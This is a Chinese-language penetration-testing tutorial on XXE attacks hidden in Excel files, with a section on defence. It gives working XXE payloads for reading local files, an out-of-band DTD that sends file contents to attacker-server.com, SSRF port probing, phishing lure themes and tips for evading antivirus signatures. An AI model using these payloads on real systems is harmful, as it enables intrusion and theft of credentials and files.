我在做内网安全评估的时候经常遇到一类情况:基层办公网的邮件网关、终端EDR都装得挺全,但攻击者把恶意XML藏在一个一眼看上去再普通不过的Excel报表里发进来,还是有人会点开。点开之后,系统里的一些本地文件、内网端口信息,就通过外部实体请求悄悄传出去了。这类利用方式就是标题里说的“利用EXCEL进行XXE攻击”。
很多人对XXE(XML External Entity,XML外部实体注入)的印象还停留在“这是Web接口的漏洞”,实际上办公文档同样是XML的载体。新版Office的.xlsx、.docx、.pptx文件本质是ZIP压缩包,内部全是XML格式的组件文件。攻击者只要改掉其中一个XML,插入外部实体定义,再重新压缩成正常打开的Excel文档,就能把这份文档变成一次隐蔽的内网探测工具或文件读取器。
这篇文章我会从文件格式原理讲起,再到改包、构造payload、数据外带,最后给出防御侧的完整加固建议。内容主要面向三类人:做渗透测试和安全评估的红队人员,需要理解Office文档攻击链路的蓝队同学,以及维护文档解析服务、文件预览系统的开发人员。全部操作建议在授权的测试环境或自己的虚拟机里复现,不要拿未授权的真实目标练手。
1. 为什么EXCEL能成为XXE攻击的载体
1.1 XLSX文件格式与XML的关系
新版Office文档采用OOXML(Office Open XML)标准,它是一种基于XML的压缩文档格式。也就是说,一个.xlsx文件并不是传统意义上的二进制文件,而是一个ZIP容器,里面装着多个角色不同的XML文件。
我用7-Zip解压一个普通的.xlsx,常见的目录结构大致是这样:
[Content_Types].xml _rels/ .rels docProps/ app.xml core.xml xl/ workbook.xml worksheets/ sheet1.xml sharedStrings.xml styles.xml theme/ theme1.xml这些文件每个都是标准XML。比如xl/workbook.xml描述工作簿结构,xl/worksheets/sheet1.xml存放单元格内容,xl/sharedStrings.xml是共享字符串表,用来存储所有单元格中的可见文本。
关键点在于:Excel在打开文件时,会依次解析这些XML组件。既然是XML解析,那么XML解析器支持的DTD、外部实体等特性,在理论上就有被利用的可能。很多人忽略这个事实,是因为平时根本不会打开压缩包去看内部结构。
1.2 XXE攻击核心原理回顾
XML外部实体注入的原理并不复杂。XML文档里可以通过DTD(Document Type Definition,文档类型定义)声明实体,比如:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>这行声明的意思很直白:定义一个名为xxe的实体,它的内容是从file:///etc/passwd这个地址读取出来的文本。如果解析器在解析过程中遇到&xxe;这个引用,就会把实体内容替换进来。如果目标XML解析器没有禁用外部实体解析,这段本地文件内容就被带入了XML文档的处理流程。
看起来只是一个替换操作,但放到真实环境里能造成几类实际危害:
- 任意文件读取:读取服务器或用户本地的敏感文件,例如配置文件、秘钥、密码哈希。
- SSRF(服务端请求伪造):把外部实体地址改成
http://内网地址/,让解析器主动发起请求,实现对内网资产的探测或接口访问。 - 端口扫描:通过不同端口的外部实体请求是否成功、是否报错,判断内网主机开了哪些服务。
- 拒绝服务:经典的“Billion Laughs”实体嵌套展开,让解析器内存耗尽。
当然,这些危害成立的前提是目标XML解析器足够“宽容”。很多编程语言自带的XML解析库默认行为就是允许外部实体,这是XXE一直排在各安全风险榜单前列的原因。
1.3 为什么选择EXCEL作为攻击载体
把XXE payload放进Excel而不是直接发一个HTTP请求,这里面有几个很现实的考量。
第一是信任度。办公环境里,员工对“Excel报表”的警惕心远低于对“程序安装包”或“不明压缩包”的警惕心。一封标题为“2025年Q2渠道返利核算表.xlsx”的邮件,打开率通常高得多。
第二是检测盲区。传统的安全设备对邮件附件的检测,偏向扫描恶意宏、PE文件、脚本特征。Office文档里藏一段外部实体声明,很多网关在不解压、不展开XML的情况下根本看不到。即使做了压缩包遍历,也不一定会逐层解析XML内容做实体检测。
第三是持久性与复发性。文档在线预览系统、文件格式转换服务、邮件附件自动解析服务,这些后端系统在解析Office文档时,如果底层用的XML解析库不安全,同一份恶意Excel可能影响的不只是某个员工的电脑,而是直接打进内网服务器。
从攻击者的视角看,Excel XXE是绕过边界防护、进入办公网的一种低成本路径。从防御者视角看,搞清楚这条链路才能知道该在哪层做拦截。
2. 构造具备XXE攻击能力的EXCEL文件
2.1 解包与改包
实操的第一步是把.xlsx文件解压出来。Windows环境我习惯用7-Zip,Linux环境直接命令行处理。保留原文件备份,然后在一个干净的目录里开始改。
# Linux 下解压 unzip target.xlsx -d xxe_dir # 或者用 7z 7z x target.xlsx -oxxe_dir解压之后,选择要注入的XML文件。我的习惯是改xl/sharedStrings.xml,原因是Excel打开文件时,展示单元格内容一定绕不开共享字符串表,而且这个文件结构简单、改动失败后也容易排查。如果目标文档里没有sharedStrings.xml(某些纯数据型表格可能没有),就改用某个sheet对应的XML,比如xl/worksheets/sheet1.xml。
2.2 在sharedStrings.xml中插入外部实体
改之前先看一下原始内容,典型的结构类似这样:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <si><t>销售额统计</t></si> <si><t>华东区</t></si> <si><t>285000</t></si> </sst>要在文档开头补上DOCTYPE声明,再在某一个<t>标签里引用实体。修改后的文件:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <si><t>&xxe;</t></si> <si><t>华东区</t></si> <si><t>285000</t></si> </sst>这样当Excel解析这个XML时,第一个单元格的理论内容会变成/etc/passwd文件的内容。放行到真实环境里,用户打开文档后看到第一个单元格里是系统账号信息,甚至不需要额外调试就能确认漏洞存在。
Windows平台的路径写法不太一样,读取本地文件用这种形式:
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">主要区别是盘符和反斜杠的处理。Windows下文件URI的标准格式一般是file:///C:/路径/文件。
2.3 数据外带:无回显条件下的利用
实际上很多Excel打开场景下,单元格并没有那么轻易显示文件内容,因为Excel的XML解析流程与浏览器解析XML并不完全一样。我在测试中遇到过几种现象:一是实体被解析但结果没有写进单元格;二是解析器在遇到外部实体时静默失败,界面一切正常但内容没有回显;三是老版本Office会弹出外部实体加载的警告框。所以更稳妥的思路是提前设计“盲利用”通道,利用外部实体触发对攻击者服务器的请求。
常规方案是使用参数实体嵌套,把文件内容拼到请求地址里。示例:在Excel的XML文件中放一个外部参数实体声明。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE r [ <!ENTITY % remote SYSTEM "http://attacker-server.com/evil.dtd"> %remote; ]> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <si><t>test</t></si> </sst>攻击者服务器上放一个evil.dtd,内容如下:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server.com/?data=%file;'>"> %all;执行顺序要理清楚:Excel解析XML时先看到%remote;,于是请求http://attacker-server.com/evil.dtd拿到文件内容;拿到后把%file;实体展开为/etc/passwd的内容;再执行%all;,构造一个send实体,请求http://attacker-server.com/?data=...,而data参数里拼接的就是目标文件内容。
这套方案完美解决了“单元格不回显”的问题。只要拿着DNS访问记录或者Web日志,就能看到外部请求记录,进一步确认文件内容被外带。
2.4 重打包与格式修复
改完XML之后,要把整个目录重新压缩成ZIP格式,扩展名改回.xlsx。这里有一个高频翻车点:很多人用Windows的“发送到压缩文件夹”功能来压缩,结果Excel打开时提示文件损坏。
原因在于Windows的压缩功能会在ZIP结构里引入一些额外目录条目,且默认压缩方式与Excel期望的存储结构不完全一致。我踩过这个坑之后,一直用命令行压缩:
cd xxe_dir zip -r -X ../payload.xlsx .关键在于-X,它的作用是去除ZIP文件中的额外文件属性,避免多余元数据干扰。Linux下用zip命令打包出来的xlsx,Office的兼容性要好得多。如果没有Linux环境,7-Zip也可以,手动把所有文件选中后“添加到压缩包”,压缩格式选ZIP。
提示:重打包之后一定要用Office真的打开一次。如果打开报错“文件已损坏”,说明XML结构或者ZIP结构有问题。不要抱着“反正能解压就算成功”的心态,真实攻击场景中目标用户打不开文件,整个攻击链路就断了。
2.5 让恶意文档更隐蔽的细节
有几个看起来不重要、实际很重要的细节,我在测试过程中验证过。
尽量少改动无关文件。不要动[Content_Types].xml、_rels/.rels,这两处结构非常敏感,改坏了Office直接拒绝对话。只需要在目标XML文件里补DOCTYPE和实体引用。
实体名称取值尽量简短,不要用xxe_payload_test_001这样的自我标注名称。杀毒软件和沙箱有大量静态特征库,其中会包含可疑实体定义的特征,实体名越接近正常业务命名,越容易规避特征匹配。
不要在文档里同时放多个外部实体、不要在同一文档里既做文件读取又做远程请求,动作越多,被环境感知的风险越大。一次只干一件事。
整个文档里只改一处引用,避免因为某个位置内容敏感导致打开的瞬间就触发EDR告警。
3. 攻击场景与影响分析
3.1 本机敏感信息读取
Excel XXE在办公场景里能带来的第一个实际危害,是读取打开文档的终端本地文件。试想一下:销售人员的电脑上,Excel能读到C:\Users\用户名\AppData\...下的各种配置缓存;研发人员的电脑上,能读到SSH私钥、数据库客户端保存的连接串;运维人员登录过堡垒机的机器上,可能留有缓存凭据。
以Windows为例,常见的读取目标:
file:///C:/Windows/system32/drivers/etc/hosts file:///C:/Users/Public/Documents/db_config.ini file:///C:/ProgramData/xxx/application.properties外带的文件内容经过URL编码传输出来,攻击者拿到之后再解码,看到的可能就是数据库连接密码或者内部系统的API密钥。这类信息对后续横向渗透意义很大。
很多人会问:Excel解析器真的能读任意本地文件吗?实测下来是的,文档的解析进程运行在当前用户上下文中,读取权限与当前用户一致。普通域用户的权限虽然受限,但读自己的用户目录、读共享盘里权限放开的文件,基本不受阻碍。
3.2 内网探测与SSRF
XXE的第二个价值是对内网资产进行探测。攻击者拿到的往往只是一台终端,对外防火墙可能是全闭的,但从终端发起的内网访问,通常没有严格ACL监控。
把外部实体地址改成http://192.168.1.10:8080/,如果目标端口开放,攻击者的服务器上就能看到一次完整的HTTP请求回连;如果端口关闭,通常没有回连记录或者报错状态不同。借助这类差异,可以快速梳理内网存活主机与服务端口。
实操中使用外带参数实体也成立,比如:
<!ENTITY % remote SYSTEM "http://192.168.1.10:22/">这里不一定要读到响应体,仅仅确认请求包到达就足够作为“端口开放”的判定依据。更高级的玩法是把路径改成内网API接口地址,让Excel解析进程充当一个跳板发一次内网HTTP请求,比如触发一次未授权操作。这就是标准的SSRF利用方式。
3.3 钓鱼投递与业务场景结合
Excel XXE文件在钓鱼场景中相比宏文档有天然优势。Office宏文档第一次打开往往弹出“安全警告,宏已被禁用”,安全意识培训过的人看到这个提示就会警惕起来。XXE文档不需要启用宏,也不需要点击“启用编辑”,外部实体在XML解析阶段就可以被处理。
攻击者经常把恶意Excel包装成这些主题:月度财务对账单、供应商合同评审表、员工绩效排名、放假通知附件。这类文件本身就有正当业务场景,接收方很难判断“该不该打开”。这就是为什么我在做安全评估时,特别强调办公文档类攻击不能只看终端杀毒,要关注邮件网关的出站DNS和HTTP检测。
3.4 影响范围的整体评估
把上述场景放到一起,一次Excel XXE攻击的实际影响面可以这样总结。
| 影响维度 | 具体表现 | 关键前提 |
|---|---|---|
| 机密性 | 本地文件、配置文件、缓存凭据外带 | 实体可用,外带通道可达 |
| 内网拓展 | SSRF探测内网端口、访问内部API | 终端可访问目标内网网段 |
| 可用性 | 构造恶意实体嵌套耗尽解析内存 | 解析器未限制实体展开层级 |
| 横向传播 | 恶意文档在组织内部被反复转发 | 接收者信任来源、缺少文件检测 |
单看任何一条,可能都算不上特别致命的漏洞。但这些能力组合在一起,配合社工手段,就足以让一个普通员工的办公终端变成攻击者在内网立足的桥头堡。
4. 防御与加固实践
4.1 应用层XML解析器安全配置
对自研系统、文件预览服务、附件解析系统来说,最关键的防线就是让底层XML解析器不解析外部实体。这一条做好了,绝大多数XXE攻击都能被直接拦掉。
以几个常见语言为例,正确配置方式如下:
Java中禁用外部实体:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);Python(lxml)中禁用外部实体:
from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False) tree = etree.parse(file_object, parser).NET中禁用DTD:
XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; XmlReader reader = XmlReader.Create(inputStream, settings);核心原则就四条:禁用DTD类型文档、禁止外部通用实体、禁止外部参数实体、禁止网络访问。代码审查时重点盯这四个配置项,任何一个被放开都意味着存在可利用空间。
4.2 Office终端侧安全策略
终端侧的防御重点不在于让XML解析器“不解析”,因为Office的XML解析是写死在产品里的,普通用户改不了。可行的思路有三条。
第一,保持Office版本更新。新版本Office对外部实体的默认安全策略明显收紧,很多历史版本默认解析外部实体的行为被修正了。老版本Office特别是2010及之前版本,在测试环境中几乎一测一个准。
第二,通过组策略开启受保护视图。受保护视图会强制来自网络下载、邮件附件的Office文件在隔离环境中打开,外部实体请求在这种隔离模式下被严重限制。用GPO集中下发配置,把“来自Internet区域的Office文件”设置为受保护视图打开,安全性会提高很多。
第三,禁用动态数据交换和外部数据连接。Office默认并不需要频繁从外部地址拉取XML数据,把这类行为在信任中心关掉,不损失正常的表格编辑功能。
4.3 网络层检测与日志监控
文档攻击再怎么包装,最终难以避免的一步是主动请求外部网络。攻击者要外带数据,必然要发起DNS请求或者HTTP请求。网络层的监控是发现这类攻击的重要手段。
在DNS日志里关注这些特征:Excel进程启动后短时间内出现对未知域名的解析请求,尤其是域名前缀带随机字符串或者疑似base64编码文本的解析记录。这是数据外带的典型特征。
在出口网关上监控异常的HTTP请求:请求头、请求路径里带着超长参数、参数值像是文件编码内容的请求,值得重点排查。对邮件附件系统,可以在解压附件后做一次正则匹配,直接搜<!DOCTYPE、<!ENTITY这样的特征串,一旦命中就隔离文件。
4.4 服务端文档处理链条的加固
很多企业忽略了文档在线预览、附件转存、格式转换这类服务。一个用户上传的Excel,在后端被自动解析、转成PDF或者提取文本,如果后端解析库存在XXE漏洞,那么恶意文档影响的就不再是个别终端,而是一台有内网权限的服务器。
我评估过的某办公系统,前端Web应用防SQL注入做得很好,但文档预览功能接了一个开源解析库,配置里保留了默认的DTD处理。攻击者只需要上传一个恶意Excel,预览服务就会代替攻击者发起内网请求。这种借刀杀人的攻击面比终端攻击更隐蔽,危害也更大。
加固手段包括:文档处理服务放进独立容器、只授权最小网络策略、解析库统一按4.1的标准禁用外部实体、输出产物一律做重编码而非保存原始XML内容。一套流程走下来,这部分风险基本可以压到可控范围。
5. 常见问题与排查技巧实录
5.1 Excel提示文件已损坏
最常遇到的问题就是改完XML重打包之后,Office提示文件无法打开。我先说排查路径。
第一步校验XML是否合法。把修改后的XML用任意XML编辑器做语法检查,重点看标签是否闭合、&符号是否被正确转义。一个常见错误是在实体引用里写&xxe;时,如果源代码文件里出现了&而没有用&转义,文件就会格式错误。
第二步检查ZIP结构。用zipinfo或者7-Zip打开打包后的文件,看是否多出了多余目录层。Windows资源管理器压缩时往往产生一个顶层目录,Excel识别不到内部结构,自然报损坏。解决办法就是回到2.4节,用命令行重新打包。
第三步检查[Content_Types].xml有没有被意外改动。这个文件一旦被破坏,Office会拒绝打开任何组件。我建议每次只编辑目标XML,其他文件原样保留。
5.2 为什么实体解析了但单元格是空白
我在多台不同版本Excel的测试中发现,某些环境下实体定义没有报错,文件也能正常打开,但单元格内容就是空的。这种情况通常不是payload写错,而是解析器展开了实体,但拒绝把外部实体内容回显到文档里。
判断到底有没有被解析,两条路任选。一种是改成外带通道,在DTD里构造对攻击者服务器的请求,看服务器是否收到访问记录。另一种是观察Excel进程的网络连接:用系统自带资源监视器,或者配合终端监控工具观察进程发起TCP连接的时间点,如果打开文档后很短时间内有网络活动,说明解析器至少尝试了外部加载。
5.3 新版Office和老版本的利用差异
实测下来,Excel版本差异对利用成功率影响很大。老版本Office对外部实体基本不设防,实体展开和文件读取一次成功。新版Office默认安全级别高,但“默认”不等于“绝对安全”,当系统管理员为了实现某些业务功能降低了Office安全策略、或者文档来源被标记为“受信任位置”时,仍然可能被利用。
做测试时先确认目标环境版本。如果目标是老版本Office,优先采用回显式文件读取,效率最高。如果目标可能是新版,直接上外带通道,尽量不要依赖单元格回显。
5.4 常见问题速查表
| 出现现象 | 可能原因 | 处理办法 |
|---|---|---|
| Excel提示文件损坏 | XML结构被破坏或ZIP打包方式异常 | XML纯文本校验、命令行重新打包 |
| 文件能打开,但单元格空白 | 解析器禁用了实体回显 | 使用外带方式接收数据 |
| 弹出外部内容加载提示 | 安全策略拦截远程访问 | 确认受信任位置配置后重试 |
| 打开时无反应,但出现网络连接 | 解析器触发了远程实体请求 | 在外带服务器上查看请求记录 |
| 杀毒软件报毒 | 静态特征匹配到实体声明 | 更换payload写法、简化实体定义 |
5.5 快速自查清单
收尾前留一份自查清单,每次构造Excel XXE样本或排查此类问题时按顺序过一遍:
- XML语法是否合法,DTD声明位置正确。
- 外部实体是否确实引用了(至少一个
&实体名;出现)。 - 重打包使用命令行并验证打开正常。
- 实际测试中的目标是授权测试环境。
- 外带服务器是否正常记录日志、DNS解析是否生效。
- 测试完成后是否清理样本和临时目录。
最后分享一点个人体会
Excel作为XXE攻击载体这件事,最值得玩味的其实不是某个具体payload怎么写,而是“文件格式信任链”带来的防御盲区。人们会警惕可执行文件、警惕要求启用宏的文档,却很少会对一个能正常打开的Excel报表产生怀疑。攻击者利用的正是这份信任,而不是什么高深的技术。
我在多次办公环境安全评估中形成的一个习惯是:凡是涉及Office文档的业务系统,不管是邮件、上传接口还是预览服务,统一按“不可信输入”处理。文档解析服务一律先剥离DTD,终端侧一律开启受保护视图,网络出口一律监控异常外连。把这些默认策略做扎实了,再复杂的XXE构造方式也找不到落地的缝隙。
如果你正在排查类似的Office文档安全风险,建议从文档预览服务和邮件附件网关查起,这两个位置最容易被忽视、也最容易出效果。排查过程中有任何拿不准的现象,欢迎顺着这篇文章的思路自己搭环境验证一遍,动手试过之后理解会比只看文章深得多。